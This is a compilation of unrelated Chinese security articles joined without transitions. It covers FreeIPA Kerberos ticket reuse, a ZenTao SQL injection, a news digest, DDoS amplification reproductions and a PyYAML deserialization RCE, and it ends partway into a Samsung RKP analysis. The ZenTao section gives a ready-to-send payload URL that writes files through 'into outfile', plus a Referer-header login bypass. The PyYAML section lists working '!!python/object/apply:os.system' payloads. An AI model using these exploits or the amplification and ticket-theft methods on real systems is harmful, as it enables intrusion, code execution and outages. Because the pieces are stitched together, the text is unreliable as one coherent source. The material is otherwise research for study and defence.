<https://mp.weixin.qq.com/s/msgPAuZo3u8MTQtBsjRC1g> | 社区文章 |
最近，我对一个 FreeIPA 环境进行测试。因此我想花些时间分享一些关于 FreeIPA 的一些测试心得：它的工作原理及攻击手法。
### 0x00 前言
**首先，什么是 FreeIPA？我为什么对它感兴趣？**
老实说，直到我在野外遇到 FreeIPA环境之后，我才知道它。经过一番调研后，才知道它是 Microsoft Windows Active
Directory 的开源替代品，主要用作 Unix 环境的集成管理解决方案。与Active Directory类似，FreeIPA 实现了一个完整的
LDAP 目录基础架构，由 MIT 的 Kerberos 密钥分发中心支持。它使用 Dogtag 证书系统进行 CA 和 RA
证书管理，使其能够处理包括智能卡在内的多因素身份验证。SSSD 用于将 FreeIPA 集成到标准 Unix 身份验证过程中。
由于文章内容过多，为了使其有更好的可读性，将其分成一个系列。这篇文章主要涵盖以下内容：
* 从 _公共文件_ 、 _环境变量_ 、 _二进制文件_ 等指纹标志，分辨当前机器是否已加入 FreeIPA 环境。
* 使用存储在内存中的 Keytab 文件，CCACHE 票据文件和 CCACHE 票据在 FreeIPA 环境中进行身份验证。
### 0x01 机器识别
加入到 FreeIPA 域中的 Linux 主机都有一些指纹标志，操作者可以通过这些指纹来获取有关主机和域的信息。让我们简单回顾一下能够证明当前主机已加入
FreeIPA 域的标志文件、环境变量和二进制文件。
以下文件应该在每个加入 FreeIPA 域的主机上都存在：
* **_/etc/krb5.conf：_** krb5.conf 文件包含了在域中注册所需的 Kerberos 客户端信息。这包括 KDC 和管理服务器在 Kerberos 领域的位置、当前领域和 Kerberos 应用程序的默认值，以及主机名与 Kerberos 领域的映射。
* **_/etc/ipa/default.conf：_** 这是 IPA 服务器的默认配置文件，它用于设置运行 IPA 客户端和服务器时应用的全系统默认值。
* **_/etc/krb5.keytab：_** krb5.keytab 文件在域内的所有主机上都需要。它是 KDC 认证过程的一部分。默认情况下，它允许不受限制地访问其主机，并且只有 root 才能读取。
此外，还有几个环境变量，如果设置好了，可能表明当前主机已加入了 Kerberos 域：
* **_KRB5CCNAME：_** 如果已设置，则此变量指向用于认证的 CCACHE 票据的位置。
* **_KRB5_KTNAME：_** 如果已设置，则此变量指向用于认证的 Keytab 文件的位置。
* **_KRB5_CONFIG：_** 如果已设置，则此变量只想给 Kerberos 配置文件的位置。
* **_KRB5_KDC_PROFILE：_** 如果已设置，则此变量指向 KDC 配置文件的位置，该文件包含用于密钥分发中心守护程序的其他配置指令。
* **_KRB5RCACHETYPE：_** 此变量指定用于服务器的默认重播缓存类型。
* **_KRB5RCACHEDIR：_** 此变量指定服务器使用的重播缓存的默认目录。
* **_KRB5_TRACE：_** 此变量指定要写入跟踪日志输出的文件名。跟踪日志可以帮助阐明 Kerberos 库在内部所做的决策。
* **_KRB5_CLIENT_KTNAME：_** 此变量设置默认的客户端密钥表文件名。
* **_KPROP_PORT：_** 此变量设置供 kprop 使用的默认端口。
还有一些二进制文件可将主机标识为已加入 FreeIPA 域：
* **_ipa：_** 该二进制文件是管理 FreeIPA 域的标准。它可以用于管理主机、用户、sudo 规则等。
* **_kdestroy：_** 该二进制文件用于销毁用户会话中的任何当前 Kerberos 票据。
* **_kinit：_** 该二进制文件用于建立和续订 Kerberos 票据。
* **_klist：_** 该二进制文件列出了当前使用的所有 Kerberos 票据，以及票据提供访问权限的主体。
* **_kpasswd：_** 该二进制文件用于更改 Kerberos 主体的密码。kpasswd 首先提示输入当前的 Kerberos 密码，然后两次提示用于输入新密码，最后更改密码。
* **_ksu：_** 该二进制文件可以用作 su 二进制文件的替代方案，以切换当前用户上下文。
* **_kswitch：_** 该二进制文件将切换当前正在使用的凭证缓存。
* **_kvno：_** 该二进制文件获取了指定的 Kerberos 主体的服务票据，并输出每个密钥主体的密钥版本号。
### 0x02 认证方式
了解用于身份验证和授权的基础知识和流程对于攻击者来说至关重要。在不了解每种身份验证机制的情况下，攻击者可能会错过可能已启用横向移动或整个环境中另一条有效的攻击路径。让我们简单回顾一下在
FreeIPA 环境中，身份验证过程是如何工作的。
由于 FreeIPA 使用 Kerberos 进行身份验证，所以这个过程与 Active Directory
中的身份验证非常相似。为了访问域中的资源，用户必须有一个有效的 Kerberos 票据才能访问该资源。根据 FreeIPA
域的配置，这些票据可以存储在许多不同的位置。简要回顾一下每个验证机制，包括如何从攻击者的角度分析和重用这些东西。
#### 2.1、CCACHE Ticket Files
当票据被设置为磁盘上的文件时，标准格式和类型是 `CCACHE` 文件。这是一种简单的二进制文件格式，用于存储 Kerberos 凭证。这些文件通常存储在
`/tmp` 中，并带有 600 权限。从攻击者的角度来看，这很重要，原因如下。
* 可以利用有效的票据进行身份验证，不需要相应的用户明文密码。
* CCACHE 票据具有高度的可移植性。它们可以被下载并加载到另一台主机上，而不需要更新或验证票据。
解析 CCACHE 票据有很多不同的方法可以轻松完成。最简单的方法是用 klist 命令解析它。
对于攻击者来说，重新使用 CCACHE 票据非常容易。要重新使用有效的CCACHE 票据，请将 KRB5CCNAME
导出到有效票据文件的路径。系统应该会识别环境变量，并在与域交互时尝试使用该凭证。
#### 2.2、Unix Keyring
FreeIPA 管理员的另一个选择是将 CCACHE 票据存储在 Linux 的 Keyring 中。keyring
位于内核内部，使管理员可以更好地控制已存储票据的检索和使用。票据可以通过以下几种不同方式进行范围划分：
* **_KEYRING:name：_** 票据的作用域仅限于一个名为 Keyring 的特定名称。
* **_KEYRING:process:name：_** 票据的范围仅限于特定的进程 ID。
* **_KEYRING:thread:name：_** 票据的作用域为特定线程。
* **_KEYRING:session:name：_** 票据的范围仅限于特定的用户会话。
* **_KEYRING:persistent:uidnumber：_** 票据的范围仅限域特定用户（无论会话如何）
根据管理员对存储在 Unix Keyring 中的票据进行范围划分，解析出来可能会有困难。不过，Unix keyring 中的 CCACHE
票据的默认范围是 `KEYRING:persistent:uidnumber`。幸运的是，如果你是在用户的上下文中，klist 可以为我们解析出这些信息。
作为攻击者，根据票据的范围，重新使用存储在Unix keyring 中的 CCACHE
票据是相当困难的。幸运的是，[@Tarlogic](https://twitter.com/Tarlogic) 的
[@Zer1t0](https://github.com/Zer1t0) 已经构建出了可以从 Unix keyring 提出 Kerberos
票据的工具。该工具称为 Tickey，可以在[此处](https://github.com/TarlogicSecurity/tickey)找到。
#### 2.3、Keytab
Keytabs 是 FreeIPA 和 Kerberos 中使用的另一种形式的凭证材料。它由一对 Kerberos
委托人和加密密钥组成，这些密钥来自于与委托人相关的 Kerberos 密码。由于这些密钥来自于委托人的密码，因此，如果密码发生变化，keytab 将失效。
Keytab 文件可以用来获得它所覆盖的委托人的有效的授权票（TGT）。这个认证过程不需要密码，因为它包含从密码中派生的密钥。
解析 Keytab 文件非常简单，可以通过以下几种方法来完成。最简单的方法是用 klist 解析 keytab 文件。第二种方法是利用 [Cody
Thomas](https://medium.com/@its_a_feature_) 创建的一个伟大的 Python 工具。他的
[KeytabParser](https://medium.com/@its_a_feature_) 项目将解析主体及其相关的加密密钥。
攻击者可以通过 kinit 命令生成 CCACHE 票据，从而重复使用存储在 keytab 文件中的凭证。
### 0x03 结论
对于攻击者来说，了解操作环境、包括各种正在使用的技术以及如何应用这些技术是最基本的。我希望这个系列文章能够给大家作为一个参考。
这是在一系列文章中的第一篇文章，记录了我在对 FreeIPA 环境进行测试的一些经验。在接下来的帖子中，我将会以以下内容为目标。
* 简单概述 FreeIPA 内部的各种对象，以及它们之间的交互方式。如何在 FreeIPA 环境中从 IPA 服务器上枚举这些对象的信息。特别是实现横向移动的信息。
* 在自定义的实验室环境中对整个攻击链进行开发利用。
* 最后，概述了攻击者在 FreeIPA 环境中可以滥用的一些错误配置和独特场景。
### 0x04 参考
* MIT Kerberos Documentation, MIT, <https://web.mit.edu/kerberos/krb5-latest/doc/>
* Kerberos Credential Thievery (GNU/Linux), Ronan Loftus and Arne Zismer, <https://www.delaat.net/rp/2016-2017/p97/report.pdf>
* Tickey, TarlogicSecurity, <https://github.com/TarlogicSecurity/tickey>
* KeytabParser, Cody Thomas, <https://github.com/its-a-feature/KeytabParser>
* Using a Keytab, Indiana University, <https://kb.iu.edu/d/aumh>
原文：<https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a> | 社区文章 |
>
> 上一篇文章，SQL注入由`orderBy($order)`函数过滤不严格导致。但是，这个函数对传进的参数进行了一系列过滤，导致`getshell`的条件比较苛刻。不甘心，于是乎找了一个比较好利用的地方。我只是以这个模块的一个函数为例，其它未提到的地方仍然很有可能存在注入。
##### 一、问题的根源
> 问题出现在`limit($limit)`函数，它对传进的参数没有经过任何过滤就直接拼接成SQL语句进行查询。
// D:\wamp\www\zentao826\lib\base\dao\dao.class.php
public function limit($limit)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
if(empty($limit)) return $this;
stripos($limit, 'limit') !== false ? $this->sql .= " $limit " : $this->sql .= ' ' . DAO::LIMIT . " $limit ";
return $this;
}
##### 二、利用点
>
> 把这个函数在控制器文件中搜索了一下，`->limit($`只出现在了`module\block\control.php`中，。这个模块中只有`main()`函数是最重要的函数，其它函数都是通过传参进行回调的。直接切入重点吧
// 288行
public function main($module = '', $id = 0)
{
// 代码省略
$mode = strtolower($this->get->mode);
if($mode == 'getblocklist')
{
// 代码省略
}
elseif($mode == 'getblockdata')
{ // 需要base64编码
$code = strtolower($this->get->blockid);
$params = $this->get->param;
$params = json_decode(base64_decode($params)); // 这里需要编码
// 代码省略
$this->viewType = (isset($params->viewType) and $params->viewType == 'json') ? 'json' : 'html';
$this->params = $params;
$this->view->code = $this->get->blockid;
$func = 'print' . ucfirst($code) . 'Block';
if(method_exists('block', $func))
{
$this->$func($module); // 在这里进行了动态调用
}
else
{
$this->view->data = $this->block->$func($module, $params);
}
// 代码省略
}
}
>
> 假设，我们想调用`printCaseBlock()`函数，那么传递进去的参数就应该是`mode=getblockdata`、`blockid=case`、以及编码后的`param`。
// 444行
public function printCaseBlock()
{
$this->session->set('caseList', $this->server->http_referer);
$this->app->loadLang('testcase');
$this->app->loadLang('testtask');
$cases = array();
var_dump($this->params);
if($this->params->type == 'assigntome')
{
$cases = $this->dao->select('t1.assignedTo AS assignedTo, t2.*')->from(TABLE_TESTRUN)->alias('t1')
->leftJoin(TABLE_CASE)->alias('t2')->on('t1.case = t2.id')
->leftJoin(TABLE_TESTTASK)->alias('t3')->on('t1.task = t3.id')
->Where('t1.assignedTo')->eq($this->app->user->account)
->andWhere('t1.status')->ne('done')
->andWhere('t3.status')->ne('done')
->andWhere('t3.deleted')->eq(0)
->andWhere('t2.deleted')->eq(0)
->orderBy($this->params->orderBy)
->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
->fetchAll();
}
elseif($this->params->type == 'openedbyme')
{
$cases = $this->dao->findByOpenedBy($this->app->user->account)->from(TABLE_CASE)
->andWhere('deleted')->eq(0)
->orderBy($this->params->orderBy)
->beginIF($this->viewType != 'json')->limit($this->params->num)->fi()
->fetchAll();
}
$this->view->cases = $cases;
}
> 第一个里面的看起来麻烦多了 ，我决定构造payload进入第二个分支。构造出来的语句如下：
{"orderBy":"order","num":"1 into outfile 'd:/123'","type":"openedbyme"}
> 最后的`payload`就应该是，这里只是以写文件为例，因为这个系统采取的`PDO`，因此可以多语句执行的。
http://zentao826.me/block-main.html?mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIiLCJudW0iOiIxIGludG8gb3V0ZmlsZSAnZDovMTIzJyIsInR5cGUiOiJvcGVuZWRieW1lIn0
条件限制：
**条件限制：**
* 如果要直接写`shell`，那么当前数据库账户必须有文件操作的权限
* 拥有一个低权限的后台账号
##### 三、更深入一步
> 当时我在想，这个地方好像是没有限制权限的，能不能绕过登录直接进行注入呢？后来发现，果然是可以的，这样的话，这个漏洞就绝对不鸡肋
// 22行，构造函数
public function __construct($moduleName = '', $methodName = '')
{
parent::__construct($moduleName, $methodName);
/* Mark the call from zentao or ranzhi. */
$this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === 0 || $this->session->blockModule;
if($this->methodName != 'admin' and $this->methodName != 'dashboard' and !$this->selfCall and !$this->loadModel('sso')->checkKey()) die('');
}
>
> 这个地方，它应该是提供给`然之`或者`禅道`的一个接口，如果不满足第二个条件，那么就`die('')`。我看了看，除了`$this->selfCall`以及`!$this->loadModel('sso')->checkKey()`单点登录校验，其它对于我们注入是无用的，但是单点登录的`key`我们是无法构造的，因此焦点就落在了`$this->selfCall`上了。`$this->server->http_referer`是`HTTP`请求头中的`referer`字段。
> **因此在未登录的状态下，增加一个头字段：referer:example.com即可绕过登录进行注入** | 社区文章 |
# 12月22日安全热点 - VMWare发布安全更新/NHash大钱小恶
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
VMWare发布安全更新，修复其产品中近期发现的四个漏洞
<http://securityaffairs.co/wordpress/66997/security/vmware-code-execution-flaws.html>
密币惊人的吸引力：“前”勒索软件Venuslocker现已转行挖矿
<https://www.bleepingcomputer.com/news/security/venuslocker-ransomware-gang-switches-to-monero-mining/>
新出现的勒索软件File-Locker针对韩国用户发起攻击，每次勒索至少5万元（50美金）
<https://www.bleepingcomputer.com/news/security/file-locker-ransomware-targets-korean-victims-and-asks-for-50k-won/>
## 技术类
使用RIPR模拟定制加密货币
<https://blog.silentsignal.eu/2017/12/21/emulating-custom-crytography-with-ripr/>
数据泄露缓解与修复 Part 4：赏金计划
<https://www.troyhunt.com/fixing-data-breaches-part-4-bug-bounties/>
Applocker用例学习：不安全性 Part 2
<https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/>
Undocumented PECOFF
<https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf>
开源的云端行为监控
<https://github.com/capsule8/capsule8/>
基于用例的使用Applocker加强Windows安全性 Part 2
<https://oddvar.moe/2017/12/21/harden-windows-with-applocker-based-on-case-study-part-2/>
年度漏洞回顾之四：VMWare漏洞
<https://www.zerodayinitiative.com/blog/2017/12/21/vmwares-launch-escape-system>
错误配置的rsync协议将会导致数据泄露问题出现
<https://medium.com/@woj_ciech/couple-words-about-rsync-protocol-based-on-breach-of-2k-emails-from-czech-university-5e1cfafe50a9>
NHash——大钱小恶
<https://securelist.com/nhash-petty-pranks-with-big-finances/83506/>
Responder -> MultiRelay -> Mimikatz -> Crackmapexec ->Windows PWNage
<https://gameofpwnz.com/?p=684>
圣诞将至：智能设备礼物所引发的思考
<http://www.bbc.com/news/technology-42361279>
利用radare2与r2pipe以图形化的方式创建ROP链
<https://github.com/jpenalbae/rarop>
俄罗斯与美国社交安全战数据分析
<https://www.nbcnews.com/tech/social-media/russian-trolls-went-attack-during-key-election-moments-n827176> | 社区文章 |
### 0X00前言
我在上一篇文章中，总结了大多数DDOS攻击的原理和防御。这篇文章，我将分享大部分DDOS攻击的实现以及每个实验环境的搭建步骤。严格来说我做的实验应该叫做DOS攻击，但毕竟资源有限，如果多台主机使用同种方式攻击服务器，同样会产生DDOS的效果，所以我还是把本次实验都叫做DDOS吧。下面所编写的脚本基于python2.7环境运行，文章仅供参考研究，切勿用于非法用途。
### 0X01SYN FLOOD攻击
#### 环境准备
我们选取metasploitable2作为被攻击服务器，在SYN FLOOD攻击发起之前，可以正常访问服务器上的web服务
#### 模拟攻击
SYN
FLOOD攻击的原理就是阻断TCP三次握手的第三次ACK包，即不对服务器发送的SYN+ACK数据包做出应答。由于服务器没有收到客户端发来的确认响应，就会一直保持连接直到超时，当有大量这种半开连接建立时，即造成SYN
Flood攻击。所以我们就可以按照这个思路进行数据包构造，这里我使用python的scapy模块来模拟发包
在发送数据包的同时，我们打开wireshark抓包，可以看到目标服务器成功给我们返回SYN+ACK数据包，但是第三个数据包确实RST数据包而不是ACK数据包，这是怎么回事？其实这个RST数据包是系统自己发送的，原因在于一开始的SYN数据包是我们使用scapy发出的，并不是操作系统自己主动发出的，所以当操作系统收到一个SYN+ACK数据包时，它会认为这个连接不是我发出的，就会主动拒绝连接，并返回RST数据包。既然这样，我们可以使用linux下的iptables命令禁止系统自动给目标发送RST数据包，从而达到建立半开连接的效果，命令如下
接下来我们就可以把刚刚构造数据包的思路加上多线程模块写成一个SYN FLOOD攻击脚本，代码如下
脚本使用方法在第15行，执行我们的syn_flood.py脚本后，发现目标服务器的web应用已经无法访问
打开wireshark抓包，可以看到抓取到大量的SYN请求数据包，而且已经没有RST数据包了
我们再登录服务器(metasploitable2)上，查看服务器所建立的连接。使用命令netstat -pantu | grep
SYN查看已建立的SYN连接数，可发现此时已建立了大量连接
### 0X02DNS放大攻击复现
#### 数据包构造思路
首先，我们需要观察一下DNS递归查询数据包的报文格式。使用dig命令发送DNS查询报文，并同时开启wireshark抓包分析
通过wireshark可以看到返回的数据包大约是请求数据包的7倍。不同域名，dig命令查询所返回的数据包大小不一样
#### 模拟攻击
接下来，我们使用scapy伪造源地址为被攻击目标IP 向DNS服务器发起递归查询，如果向大量的DNS服务器发起递归查询，则DDOS攻击效果更明显。
d.rd=1 rd：Recursion desired，当rd=1时表示进行递归查询
使用wireshark抓包查看效果，并验证构造的数据包是否正确
确认数据包构造无误后，就可以开始编写脚本进行DNS放大攻击，代码如下
攻击示例
在受害主机上用wireshark抓取数据包查看效果，可以看到DNS服务器返回了大量的查询响应包
### 0X03TFTP放大攻击复现
#### 环境准备
选择ubuntu安装TFTP服务，并上传一个文件到TFTP服务器的根目录
客户端与服务器建立连接过程
#### 模拟攻击
在攻击机(kali)上使用scapy构造TFTP数据包，并同时打开wireshark抓包分析构造的数据包是否正确
同时TFTP服务器上也使用wireshark抓包，可以看到TFTP服务器将数据包的第一个分块返回了6次，原因在于受害主机并未对TFTP发出的数据包做出ACK响应，TFTP由于未收到确认应答，就启动它的重传机制直至超时，返回数据包的大小取决于TFTP所传送的文件大小。
受害主机(ubuntu)上使用wireshark抓包，发现接受到UDP协议传来的6个数据包
这里计算一下一个数据包的放大倍数：558*6/62=54，如果在加上多线程模块，配合多个主机发包，放大倍数可想而知。
### 0X04NTP放大攻击复现
#### 环境准备
我们准备一个BodhiLinux模拟公网上开启了NTP服务的服务器
打开BodhiLinux，安装NTP服务
这里有个小问题，默认apt-get install
ntp会安装ntp-4.2.8p6，然而这个版本无法用于本次实验，因为ntp4.2.7及以上的版本中已经禁止了monlist功能，所以需要安装ntp-4.2.6p5，解决方法换Ubuntu14.04.4默认更新源，再用apt-get install ntp即可。
Ubuntu14.04.4默认更新(<http://www.cnblogs.com/zlslch/p/6860229.html>)
查看UDP123端口是否开放：
编辑/etc/ntp.conf文件，开启NTP服务器monlist查询功能：
重启ntp服务，配置文件才会生效：
#### 模拟攻击
此时开启kali模拟黑客扫描公网上可用的NTP服务器，使用nmap可完成该目的
当黑客确定目标后，会扫描目标的UDP123端口服务，确认其UDP123端口是否为NTP服务
查看对方NTP服务器是否开启monlist查询功能
运行上面命令的同时，开启wireshark抓包，可抓取NTP数据包，用于之后的数据包构造
通过scapy按照NTP数据包格式构造发包
再次在kali(攻击机)上用wireshark抓包，验证构造的NTP数据包是否有误
Ubuntu(受害主机)上也用wireshark抓包，验证是否收到NTP服务器返回的数据包
可以看到，受害主机成功接受从NTP服务器返回的查询报文。这里发送一个NTP数据包，收到也只有一个NTP数据包。理论上应该会收到100个数据包，每6个IP封装在1个数据包内，因为开头我们查询的时候，发现就只有6个IP与我们的NTP服务器进行了交互，所以就只能收到一个数据包。所以，现在的思路就是增加NTP服务器保存的IP表长度。使用ntpdate
NTP服务器IP
这条命令可以与NTP服务器进行交互，并且NTP服务器的IP列表中会多一个运行这条命令主机的IP。图忘记截了，大家自己试一下，运行这条命令的同时，打开wireshark抓包观察数据包结构。使用scapy如下构造包
可以看到我们成功将192.168.100.101添加至NTP服务器的IP列表里
既然这样，我们就可以写一个脚本，将NTP服务器的IP列表增大到600，脚本如下
脚本运行情况
再次查看NTP服务器的IP列表，已成功增大IP列表长度
去掉开头两行非IP行，刚好是600个IP
下面我们再来试一下发送一个NTP查询包，是否能返回100个数据包(总共600个IP，每6个IP封装在一个数据包中)
攻击机(kali)使用scapy构造数据包，并打开wireshark抓包观察数据包正确性
受害主机(ubuntu)wireshark抓包截图，可以看到刚好收到100个数据包
我们可以计算一下放大倍数：482*100/90=535，哇！瞬间变得有趣多了。
### 0X05SNMP放大攻击复现
#### 环境准备
在windows2003上安装SNMP服务
先插入iso文件，在点击确定
对安装好的SNMP进行配置
#### 模拟攻击
开启scapy开始构造SNMP GetBulk请求
使用wireshark抓包分析
如果需要返回更多的数据，我们可以修改SNMPbulk函数里的max_repetitions属性的值，至于攻击脚本，按照上面其他类型的放大攻击依葫芦画瓢即可。
### 0X06XSS-DOS
#### 环境准备
准备一个开启了web服务的主机，这里选择Ubuntu做演示
WebSocket协议是基于TCP的一种新的网络协议。它实现了浏览器与服务器全双工(full-duplex)通信(允许服务器主动发送信息给客户端)。
#### 模拟攻击
这里只是演示攻击，为了方便就不利用存储型XSS插入恶意代码，直接在Ubuntu的/var/www/html/目录下添加XSS-DOS.php，代码如下
然后使用我们的主机访问<http://190.168.100.102/XSS-DOS.php。192.168.100.102是Ubuntu的IP，192.168.100.105是我本机的IP，由下图可看到，当我本机访问目标服务器时，两者之间建立了大量的连接如果这时有大量的主机访问http://190.168.100.102/XSS-DOS.php，服务器的tcp连接池就会被占满，最终导致拒绝服务。>
大家可以观察到，在我们浏览器访问目标服务器一段时间后，我们的浏览器崩溃了，这是因为我们与目标建立的大量的TCP连接，这对我们自己主机也是非常消耗内存的，所以说这种攻击属于拼资源型攻击。
### 0X07HTTP慢速攻击
#### 环境准备
在攻击端安装slowhttptest工具用于HTTP慢速攻击：
可以使用-h选项来查看使用说明：
这个工具提供了多种方式攻击，细节如下
Slowloris攻击方式
查看服务端建立的连接数：
此时服务器上的web服务已经完全不能访问了。
抓包验证攻击手法：
结尾添加了一个X-***，这样看我们可能看不出什么，我们将这组数据转换成原始数据看看：
我们看到结尾是0d0a，0d表示\r,0a表示\n，也就是说结尾是\r\n。而正常的请求头结尾应该是\r\n\r\n，如果以\r\n结尾，服务器就会认为客户端的数据还没传输完，就需要一直保持连接直到超时。
Slow post攻击方式
Slow read攻击方式
我们通过设置TCP接收窗口大小为32(-z
32)来限制每次服务器给我们发送的数据大小。通过抓包分析，我们可以观察到目标服务器每次只给我们返回32字节的数据：
Apache range header攻击
虽然实验没有成功将服务器宕机，但是还是有必要了解这种攻击方式，我们还是来抓包看一下：
可以看到客户端发送的HTTP请求头中添加了range字段，大文件分成好多个小段进行传输，这就会消耗服务器大量CPU和内存资源。
### 0X08总结
终于把大部分的DDOS攻击实现了，在这过程中，自己本身也查阅了大量的书籍、博文。从原理到实践，当中有些东西还需要继续深入下去，还有很多实验还没实现，对于DDOS的研究还将继续，后续会更新在[个人博客](https://mochazz.github.io)，如果大家有什么好的书籍或关于这方面的资料，欢迎推荐交流(QQ：379032449)。文章仅用于研究，切勿用在非法用途。 | 社区文章 |
Author：bit4@[勾陈安全实验室](http://www.polaris-lab.com/)
## 0x01 概述
**什么程序存在漏洞：**
使用了PyYAML这个库并且使用了`yaml.load`而不是`yaml.safe_load`函数来解析yaml文件的程序
**代码审计关键词：**
* import yaml
* yaml.load(
**已知相关漏洞：**
* Remote Code Execution Vulnerability in Ansible-Vault Library. (CVE-2017-2809)
* <https://pypi.python.org/pypi/ansible-vault/1.0.4> ansible-vault <=1.0.4存在这个漏洞，在1.0.5中完成了修复
* Remote Code Execution Vulnerability in Tablib. (CVE-2017-2810)
## 0x02 yaml和序列化
yaml和xml、json等类似，都是标记类语言，有自己的语法格式。各个支持yaml格式的语言都会有自己的实现来进行yaml格式的解析（读取和保存），其中PyYAML就是python的一个yaml库。
除了 YAML 格式中常规的列表、字典和字符串整形等类型转化外（基本数据类型），各个语言的 YAML 解析器或多或少都会针对其语言实现一套特殊的
**对象转化规则** （也就是序列化和反序列化，这是关键点，是这个漏洞存在的前提)。比如：PyYAML
在解析数据的时候遇到特定格式的时间数据会将其自动转化为 Python 时间对象
* 序列化： 将数据结构或对象转换成二进制串（字节序列）的过程
* 反序列化：将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程
将如下内容保存到`sample.yml`
date: !!str 2016-03-09
date1: 2016-03-09
weekday: Wednesday
weather: sunny
然后在同一目录下运行如下python 代码：
# !/usr/bin/env python
# -*- coding:utf-8 -*- __author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
import yaml
print(yaml.load(file('sample.yml', 'r')))
可以看到如下结构，有“`!!str`”强制类型转换的，就成了字符串格式；没有类型转换的就是python中`datetime.date`对象。
## 0x03 代码执行PoC构造的尝试
以笔者目前初浅的理解，要实现代码执行，就需要序列化和反序列的内容中出现该编程语言中的对象（函数、类），因为的对象的反序列化，是在构建一个对象的实例（实例化的过程）。如果一个对象中有函数的定义，有可执行代码，那么实例化后再通过方法调用或者其他的途径才能使其中的代码到执行。普通数据类型的反序列化只是变量相关的初始化、赋值等操作，不会涉及到逻辑处理的代码块，所有不会有代码的执行！（普通数据类型
= 数据，对象= 函数代码+数据）。
通过跟踪`$PYTHON_HOME/lib/site-packages/yaml/constructor.py`文件，查看 PyYAML 源码可以得到其针对
Python 语言特有的标签解析的处理函数对应列表，其中有三个和对象相关：
!!python/object: => Constructor.construct_python_object
!!python/object/apply: => Constructor.construct_python_object_apply
!!python/object/new: => Constructor.construct_python_object_new
通过如下代码，来序列化test类中的内容：
# !/usr/bin/env python
# -*- coding:utf-8 -*- __author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'yaml_gen_poc.py'
import yaml
import os
class test:
def __init__(self):
os.system('calc.exe')
payload = yaml.dump(test())
fp = open('simple.yml','w')
fp.write(payload)
可以看到`simple.yml`中写入的内容如下：
!!python/object:yaml_gen_poc.test {}
再运行`yaml_verify.py`来验证：
# !/usr/bin/env python
# -*- coding:utf-8 -*- __author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = "yaml_verify.py"
import yaml
yaml.load(file('simple.yml', 'r'))
成功执行了命令，弹出计算器。但是`yaml_verify.py`的成功运行，需要依赖`yaml_gen_poc.py`，因为它会根据yml文件中的指引去读取`yaml_gen_poc.py`中的test这个对象（类）。如果删除`yaml_gen_poc.py`，也将运行失败。
## 0x04 构造通用payload
那么我们怎样消除这个依赖呢？就是将其中的类、或者函数 换成python标准库中的类或者函数。
直接修改yml文件为：
!!python/object:os.system ["calc.exe"]
再运行，失败（显示参数未传递：`TypeError: system() takes exactly 1 argument (0
given)`），尝试查看源码、并变换yml文件中语句格式，均未成功！（疑难点）。
修改为以下2种均成功，通过源码得知，`new`其实是调用了`apply`，他们的不同的地方是创建对象的方式，这里可以大致认为它们是一样的。
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
既然解决了依赖问题，那我们就尝试构建一些有用的poc吧，从官方标准库里找可以用来执行命令的函数：<https://docs.python.org/2/library/index.html>
!!python/object/apply:subprocess.check_output [[calc.exe]]
!!python/object/apply:subprocess.check_output ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:os.system ["calc.exe"]
..................
**本文测试代码地址：**
<https://github.com/bit4woo/sharexmind/tree/master/YamlRCE>
## 0x05 参考
* <http://blog.talosintelligence.com/2017/09/vulnerability-spotlight-yaml-remote.html>
* <http://rickgray.me/2016/03/09/pyyaml-tags-parse-to-command-execution.html>
* <https://www.youtube.com/watch?v=kjZHjvrAS74> | 社区文章 |
# 三星手机内核防护技术RKP深度剖析（一）
|
##### 译文声明
本文是翻译文章，文章原作者 longterm，文章来源：blog.longterm.io
原文地址：<https://blog.longterm.io/samsung_rkp.html>
译文仅供参考，具体内容表达以及含义原文为准。
在本文中，我们的第一个目标是全面介绍三星RKP防护机制的内部原理，以便为大家考察该设备上以高特权级别执行的晦涩代码打好理论基础。在解释其原理过程中，尽管我们会以大量通过反编译而得到的代码片段为例进行演示，不过，读者也可以随意跳过这些代码。
第二个目标，也可能是更多人感兴趣的目标，是分析一个目前已经得到修复的漏洞，该漏洞允许在三星RKP的EL2上执行代码。这是一个很好的例子，说明即使一个简单的漏洞，也会危及平台安全性——因为利用漏洞只需一个调用，其作用是使在EL1处的管理程序内存进入可写状态。
在第一部分中，我们将简要地讨论Samsungs的内核缓解机制（如果完全说清楚，可能需要单独撰写一篇文章）。在第二部分中，我们将解释如何获得适用于您的设备的RKP二进制文件。
在第三部分中，我们将开始剖析Exynos设备上支持RKP的管理程序框架，然后，在第四部分中深入考察RKP的内部结构。我们将详细介绍它是如何启动的，它是如何处理内核页表的，如何保护敏感数据结构的，以及如何启用内核缓解措施的。
在第五部分也是最后一部分中，我们将为读者剖析one-liner漏洞，并考察其修复方法。
## 引言
在移动设备领域，安全性在传统上都依赖于内核机制。但历史经验表明，内核也绝不是坚不可摧的。对于大多数Android设备来说，只要曝出内核漏洞，攻击者就可以利用它们来修改敏感的内核数据结构，提升权限，执行恶意代码。
另外，单靠在启动时确保内核完整性（使用验证启动机制）也是远远不够的。内核完整性还必须在运行时进行验证。这就是安全管理程序（security
hypervisor）的设计初衷。RKP，即“Real-time Kernel
Protection”，是三星管理程序实现的名称，它是三星KNOX的组成部分。
目前，已经有很多关于三星RKP的精彩研究文章，特别是Gal Beniamini的文章“Lifting the (Hyper) Visor:
Bypassing Samsung’s Real-Time Kernel Protection”，以及Aris Thallas的文章“On
emulating hypervisors: a Samsung RKP case study ”，都是研究该主题的必读资料。
## 内核漏洞的利用过程
在Android系统上，典型的本地权限升级（LPE）流程为：
1. 通过泄露内核指针绕过KASLR；
2. 获得一次性的任意内核内存读/写原语；
